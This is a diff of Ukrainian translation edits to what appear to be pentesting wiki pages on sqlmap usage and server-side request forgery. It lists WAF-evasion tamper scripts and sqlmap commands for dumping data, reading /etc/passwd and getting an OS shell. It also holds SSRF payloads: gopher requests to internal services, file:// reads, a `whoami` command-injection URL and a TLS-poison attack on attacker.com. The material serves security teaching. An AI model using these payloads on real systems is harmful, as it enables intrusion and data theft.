| between.py | Замінює оператор більше ніж \('&gt;'\) на 'NOT BETWEEN 0 AND \#' | | between.py | Замінює оператор більше ніж \('&gt;'\) на 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE | | bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload \(не обробляючи вже закодовані\) | | chardoubleencode.py | Подвійно URL-кодує всі символи в заданому корисному навантаженні \(не обробляючи вже закодовані\) |
| commalesslimit.py | Замінює випадки на зразок 'LIMIT M, N' на 'LIMIT N OFFSET M' | | commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
| commalessmid.py | Замінює випадки на зразок 'MID\(A, B, C\)' на 'MID\(A FROM B FOR C\)' | | commalessmid.py | Замінює випадки на кшталт 'MID\(A, B, C\)' на 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Замінює випадки на зразок 'CONCAT\(A, B\)' на 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | | concat2concatws.py | Замінює випадки на кшталт 'CONCAT\(A, B\)' на 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | URL-кодує всі символи в заданому payload \(не обробляючи вже закодовані\) | | charencode.py | URL-кодує всі символи в заданому корисному навантаженні \(не обробляючи вже закодовані\) |
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "%u0022" | | charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому корисному навантаженні \(не обробляючи вже закодовані\). "%u0022" |
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" | | charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому корисному навантаженні \(не обробляючи вже закодовані\). "\u0022" |
| equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' | | equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' |
| escapequotes.py | Екранує лапки \(' і "\) | | escapequotes.py | Екранує лапки \(' і "\) |
| greatest.py | Замінює оператор більше ніж \('&gt;'\) на його аналог 'GREATEST' | | greatest.py | Замінює оператор більше ніж \('&gt;'\) на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом | | halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на зразок 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' | | ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Обгортає повний запит версійним коментарем | | modsecurityversioned.py | Огортає повний запит версійним коментарем |
| modsecurityzeroversioned.py | Обгортає повний запит коментарем з нульовою версією | | modsecurityzeroversioned.py | Огортає повний запит коментарем з нульовою версією |
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів | | multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни \(наприклад, .replace\("SELECT", ""\)\) фільтри | | nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни \(наприклад, .replace\("SELECT", ""\)\) фільтри |
| percentage.py | Додає знак відсотка \('%'\) перед кожним символом | | percentage.py | Додає знак відсотка \('%'\) перед кожним символом |
| overlongutf8.py | Конвертує всі символи в заданому payload \(не обробляючи вже закодовані\) | | overlongutf8.py | Перетворює всі символи в заданому корисному навантаженні \(не обробляючи вже закодовані\) |
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру | | randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів | | randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
| securesphere.py | Додає спеціально підготовлений рядок | | securesphere.py | Додає спеціально підготовлений рядок |
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS | | sp_password.py | Додає 'sp_password' в кінець корисного навантаження для автоматичного затемнення з журналів DBMS |
| space2comment.py | Замінює символ пробілу \(' '\) на коментарі | | space2comment.py | Замінює символ пробілу \(' '\) на коментарі |
| space2dash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує випадковий рядок і новий рядок \('\n'\) | | space2dash.py | Замінює символ пробілу \(' '\) на коментар з дефісом \('--'\), за яким слідує випадковий рядок і новий рядок \('\n'\) |
| space2hash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує випадковий рядок і новий рядок \('\n'\) | | space2hash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує випадковий рядок і новий рядок \('\n'\) |
| space2morehash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує випадковий рядок і новий рядок \('\n'\) | | space2morehash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує випадковий рядок і новий рядок \('\n'\) |
| space2mssqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів | | space2mssqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| space2mssqlhash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує новий рядок \('\n'\) | | space2mssqlhash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує новий рядок \('\n'\) |
| space2mysqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів | | space2mysqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) | | space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар з дефісом \('--'\), за яким слідує новий рядок \('\n'\) |
| space2plus.py | Замінює символ пробілу \(' '\) на плюс \('+'\) | | space2plus.py | Замінює символ пробілу \(' '\) на плюс \('+'\) |
| space2randomblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів | | space2randomblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги \(&& і | | symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги \(&& і |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT | | unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) | | unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' | | uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' | | varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово версійним коментарем | | versionedkeywords.py | Огортає кожне не функціональне ключове слово версійним коментарем |
| versionedmorekeywords.py | Обгортає кожне ключове слово версійним коментарем | | versionedmorekeywords.py | Огортає кожне ключове слово версійним коментарем |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' | | xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -25,7 +25,7 @@
``` ```
### Отримати інформацію ### Отримати інформацію
#### Внутрішній #### Внутрішня
```bash ```bash
--current-user #Get current user --current-user #Get current user
--is-dba #Check if current user is Admin --is-dba #Check if current user is Admin
@ -49,7 +49,7 @@
### З захоплення Burp/ZAP ### З захоплення Burp/ZAP
Захопіть запит і створіть файл req.txt. Захопіть запит і створіть файл req.txt
```bash ```bash
sqlmap -r req.txt --current-user sqlmap -r req.txt --current-user
``` ```
@ -82,7 +82,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
``` ```
### Eval ### Eval
**Sqlmap** дозволяє використовувати `-e` або `--eval` для обробки кожного payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед його відправкою**: **Sqlmap** дозволяє використовувати `-e` або `--eval` для обробки кожного payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**:
```bash ```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
``` ```
@ -101,7 +101,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```bash ```bash
--file-read=/etc/passwd --file-read=/etc/passwd
``` ```
### Обхід веб-сайту з SQLmap та автоматичне використання експлойтів ### Обхід веб-сайту за допомогою SQLmap та автоматичне використання експлойтів
```bash ```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -133,7 +133,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
``` ```
### Tamper ### Tamper
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого Порядку Впровадження тут](second-order-injection-sqlmap.md). Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого порядку ін'єкції тут](second-order-injection-sqlmap.md).
```bash ```bash
--tamper=name_of_the_tamper --tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -141,50 +141,50 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| Tamper | Опис | | Tamper | Опис |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог | | apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний аналог | | apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload | | appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
| base64encode.py | Кодує всі символи в заданому payload у форматі Base64 | | base64encode.py | Кодує всі символи в заданому payload у Base64 |
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' | | between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE | | bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) | | chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' | | commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
| commalessmid.py | Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)' | | commalessmid.py | Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)' |
| concat2concatws.py | Замінює випадки на кшталт 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | | concat2concatws.py | Замінює випадки на кшталт 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) | | charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "%u0022" | | charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "%u0022" |
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "\u0022" | | charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "\u0022" |
| equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' | | equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' |
| escapequotes.py | Екранує лапки (' і ") | | escapequotes.py | Екранує лапки (' і ") |
| greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' | | greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом | | halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' | | ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Обгортає повний запит у версійний коментар | | modsecurityversioned.py | Обгортає повний запит у версійний коментар |
| modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією | | modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією |
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів | | multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри | | nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри |
| percentage.py | Додає знак відсотка ('%') перед кожним символом | | percentage.py | Додає знак відсотка ('%') перед кожним символом |
| overlongutf8.py | Конвертує всі символи в заданому payload (не обробляючи вже закодовані) | | overlongutf8.py | Конвертує всі символи в заданому payload (не обробляючи вже закодовані) |
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру | | randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів | | randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
| securesphere.py | Додає спеціально підготовлений рядок | | securesphere.py | Додає спеціально підготовлений рядок |
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS | | sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS |
| space2comment.py | Замінює символ пробілу (' ') на коментарі | | space2comment.py | Замінює символ пробілу (' ') на коментарі |
| space2dash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує випадковий рядок і новий рядок ('\n') | | space2dash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') | | space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2morehash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') | | space2morehash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2mssqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів | | space2mssqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| space2mssqlhash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує новий рядок ('\n') | | space2mssqlhash.py | Замінює символ пробілу (' ') на символ фунта ('#') за яким слідує новий рядок ('\n') |
| space2mysqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів | | space2mysqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| space2mysqldash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує новий рядок ('\n') | | space2mysqldash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує новий рядок ('\n') |
| space2plus.py | Замінює символ пробілу (' ') на плюс ('+') | | space2plus.py | Замінює символ пробілу (' ') на плюс ('+') |
| space2randomblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів | | space2randomblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги (&& і | | symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги (&& і |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT | | unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
| unmagicquotes.py | Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало) | | unmagicquotes.py | Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало) |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' | | uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' | | varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар | | versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар |
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар | | versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' | | xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |

View File

@ -6,7 +6,7 @@
- **запит**, в якому буде збережено **payload SQL-ін'єкції** - **запит**, в якому буде збережено **payload SQL-ін'єкції**
- **запит**, в якому **payload** буде **виконано** - **запит**, в якому **payload** буде **виконано**
Запит, в якому зберігається payload SQL-ін'єкції, **вказується так само, як і в будь-якій іншій ін'єкції в sqlmap**. Запит, **де sqlmap може прочитати вихідні дані/виконання** ін'єкції, можна вказати за допомогою `--second-url` або `--second-req`, якщо потрібно вказати повний запит з файлу. Запит, в якому зберігається payload SQL-ін'єкції, **вказується так само, як і в будь-якій іншій ін'єкції в sqlmap**. Запит, **де sqlmap може прочитати вихід/виконання** ін'єкції, можна вказати за допомогою `--second-url` або `--second-req`, якщо потрібно вказати повний запит з файлу.
**Простий приклад другого порядку:** **Простий приклад другого порядку:**
```bash ```bash
@ -16,9 +16,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file #Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt sqlmap -r login.txt -p username --second-req details.txt
``` ```
В кількох випадках **цього буде недостатньо**, оскільки вам потрібно буде **виконати інші дії** окрім відправки payload і доступу до іншої сторінки. В кількох випадках **цього буде недостатньо**, оскільки вам потрібно буде **виконати інші дії** окрім надсилання payload та доступу до іншої сторінки.
Коли це потрібно, ви можете використовувати **sqlmap tamper**. Наприклад, наступний скрипт зареєструє нового користувача **використовуючи sqlmap payload як електронну пошту** і вийде з системи. Коли це потрібно, ви можете використовувати **sqlmap tamper**. Наприклад, наступний скрипт зареєструє нового користувача **використовуючи sqlmap payload як електронну пошту** та вийде з системи.
```python ```python
#!/usr/bin/env python #!/usr/bin/env python

View File

@ -36,13 +36,13 @@ url-format-bypass.md
## Протоколи ## Протоколи
- **file://** - **file://**
- URL-схема `file://` згадується, вказуючи безпосередньо на `/etc/passwd`: `file:///etc/passwd` - URL-схема `file://` посилається безпосередньо на `/etc/passwd`: `file:///etc/passwd`
- **dict://** - **dict://**
- URL-схема DICT описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад, що ілюструє побудований URL, націлений на конкретне слово, базу даних і номер запису, а також випадок потенційного зловживання PHP-скриптом для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>` - URL-схема DICT описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад, що ілюструє конструкцію URL, націлену на конкретне слово, базу даних і номер запису, а також випадок потенційного зловживання PHP-скриптом для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://** - **SFTP://**
- Визначено як протокол для безпечного передачі файлів через захищений канал, наведено приклад, що демонструє, як PHP-скрипт може бути експлуатований для підключення до шкідливого SFTP-сервера: `url=sftp://generic.com:11111/` - Визначено як протокол для безпечного передачі файлів через захищений канал, наведено приклад, що демонструє, як PHP-скрипт може бути експлуатований для підключення до шкідливого SFTP-сервера: `url=sftp://generic.com:11111/`
- **TFTP://** - **TFTP://**
- Згадується тривіальний протокол передачі файлів, що працює через UDP, з прикладом PHP-скрипта, призначеного для надсилання запиту до TFTP-сервера. Запит TFTP надсилається до 'generic.com' на порту '12346' для файлу 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - Протокол простого передачі файлів, що працює через UDP, згадується з прикладом PHP-скрипта, призначеного для надсилання запиту до TFTP-сервера. Запит TFTP надсилається до 'generic.com' на порту '12346' для файлу 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://** - **LDAP://**
- Цей сегмент охоплює Lightweight Directory Access Protocol, підкреслюючи його використання для управління та доступу до розподілених служб інформації про каталоги через IP-мережі. Взаємодія з LDAP-сервером на localhost: `'%0astats%0aquit' через ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` - Цей сегмент охоплює Lightweight Directory Access Protocol, підкреслюючи його використання для управління та доступу до розподілених служб інформації про каталоги через IP-мережі. Взаємодія з LDAP-сервером на localhost: `'%0astats%0aquit' через ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP** - **SMTP**
@ -64,7 +64,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
### Gopher:// ### Gopher://
Використовуючи цей протокол, ви можете вказати **IP, порт і байти**, які ви хочете, щоб сервер **надіслав**. Тоді ви можете в основному експлуатувати SSRF для **зв'язку з будь-яким TCP сервером** (але вам потрібно знати, як спілкуватися з сервісом спочатку).\ Використовуючи цей протокол, ви можете вказати **IP, порт і байти**, які ви хочете, щоб сервер **надіслав**. Тоді ви можете в основному експлуатувати SSRF для **зв'язку з будь-яким TCP сервером** (але вам потрібно спочатку знати, як спілкуватися з сервісом).\
На щастя, ви можете використовувати [Gopherus](https://github.com/tarunkant/Gopherus) для створення payloads для кількох сервісів. Крім того, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) може бути використаний для створення _gopher_ payloads для _Java RMI_ сервісів. На щастя, ви можете використовувати [Gopherus](https://github.com/tarunkant/Gopherus) для створення payloads для кількох сервісів. Крім того, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) може бути використаний для створення _gopher_ payloads для _Java RMI_ сервісів.
**Gopher smtp** **Gopher smtp**
@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
``` ```
## SSRF через заголовок Referrer та інші ## SSRF через заголовок Referrer та інші
Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, що випадково піддає програми вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, згадані в заголовку Referrer, для аналізу вмісту реферального сайту. Для виявлення цих вразливостей рекомендується плагін Burp Suite "**Collaborator Everywhere**", який використовує спосіб обробки заголовка Referer аналітичними інструментами для ідентифікації потенційних поверхонь атаки SSRF. Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, що випадково піддає програми вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL, згадані в заголовку Referrer, для аналізу вмісту реферального сайту. Для виявлення цих вразливостей рекомендується плагін Burp Suite "**Collaborator Everywhere**", який використовує спосіб обробки заголовка Referer аналітичними інструментами для ідентифікації потенційних поверхонь атаки SSRF.
## SSRF через дані SNI з сертифіката ## SSRF через дані SNI з сертифіката
@ -131,13 +131,13 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Можливо, варто спробувати payload, наприклад: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` Можливо, варто спробувати payload, наприклад: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
## Відображення PDF ## Рендеринг PDF
Якщо веб-сторінка автоматично створює PDF з деякою інформацією, яку ви надали, ви можете **вставити деякий JS, який буде виконано самим творцем PDF** (сервером) під час створення PDF, і ви зможете зловживати SSRF. [**Знайдіть більше інформації тут**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** Якщо веб-сторінка автоматично створює PDF з деякою інформацією, яку ви надали, ви можете **вставити деякий JS, який буде виконаний самим творцем PDF** (сервером) під час створення PDF, і ви зможете зловживати SSRF. [**Знайдіть більше інформації тут**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## Від SSRF до DoS ## Від SSRF до DoS
Створіть кілька сесій і спробуйте завантажити великі файли, експлуатуючи SSRF з сесій. Створіть кілька сесій і спробуйте завантажити важкі файли, експлуатуючи SSRF з сесій.
## Функції PHP для SSRF ## Функції PHP для SSRF
@ -149,7 +149,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## SSRF Перенаправлення на Gopher ## SSRF Перенаправлення на Gopher
Для деяких експлуатацій вам може знадобитися **надіслати відповідь на перенаправлення** (можливо, щоб використовувати інший протокол, наприклад gopher). Тут ви маєте різні коди python для відповіді з перенаправленням: Для деяких експлуатацій вам може знадобитися **надіслати відповідь на перенаправлення** (можливо, щоб використовувати інший протокол, наприклад gopher). Ось різні коди python для відповіді з перенаправленням:
```python ```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler from http.server import HTTPServer, BaseHTTPRequestHandler
@ -277,14 +277,14 @@ Connection: close
1. Попросіть користувача/бота **доступитися** до **домену**, контрольованого **зловмисником** 1. Попросіть користувача/бота **доступитися** до **домену**, контрольованого **зловмисником**
2. **TTL** **DNS** становить **0** сек (тому жертва незабаром перевірить IP домену знову) 2. **TTL** **DNS** становить **0** сек (тому жертва незабаром перевірить IP домену знову)
3. Створюється **TLS з'єднання** між жертвою та доменом зловмисника. Зловмисник вводить **навантаження всередину** **Session ID або Session Ticket**. 3. Створюється **TLS з'єднання** між жертвою та доменом зловмисника. Зловмисник вводить **навантеження всередину** **Session ID або Session Ticket**.
4. **Домен** почне **безкінечний цикл** перенаправлень проти **себе**. Мета цього - змусити користувача/бота отримати доступ до домену, поки він не виконає **знову** **DNS запит** домену. 4. **Домен** почне **безкінечний цикл** перенаправлень проти **себе**. Мета цього - змусити користувача/бота отримати доступ до домену, поки він не виконає **знову** **DNS запит** домену.
5. У DNS запиті **тепер** надається **приватна IP** адреса (наприклад, 127.0.0.1) 5. У DNS запиті **тепер** надається **приватна IP** адреса (наприклад, 127.0.0.1)
6. Користувач/бот спробує **відновити TLS з'єднання** і для цього він **надішле** **Session** ID/Ticket ID (де містилося **навантаження** зловмисника). Тож вітаємо, ви змогли змусити **користувача/бота атакувати себе**. 6. Користувач/бот спробує **відновити TLS з'єднання** і для цього він **надішле** **Session** ID/Ticket ID (де містилося **навантеження** зловмисника). Тож вітаємо, ви змогли змусити **користувача/бота атакувати себе**.
Зверніть увагу, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (_memcache_), вам потрібно змусити жертву встановити початкове з'єднання з www.attacker.com:11211 (**порт завжди має бути однаковим**).\ Зверніть увагу, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (_memcache_), вам потрібно змусити жертву встановити початкове з'єднання з www.attacker.com:11211 ( **порт завжди повинен бути однаковим**).\
Щоб **виконати цю атаку, ви можете використовувати інструмент**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ Щоб **виконати цю атаку, ви можете використовувати інструмент**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
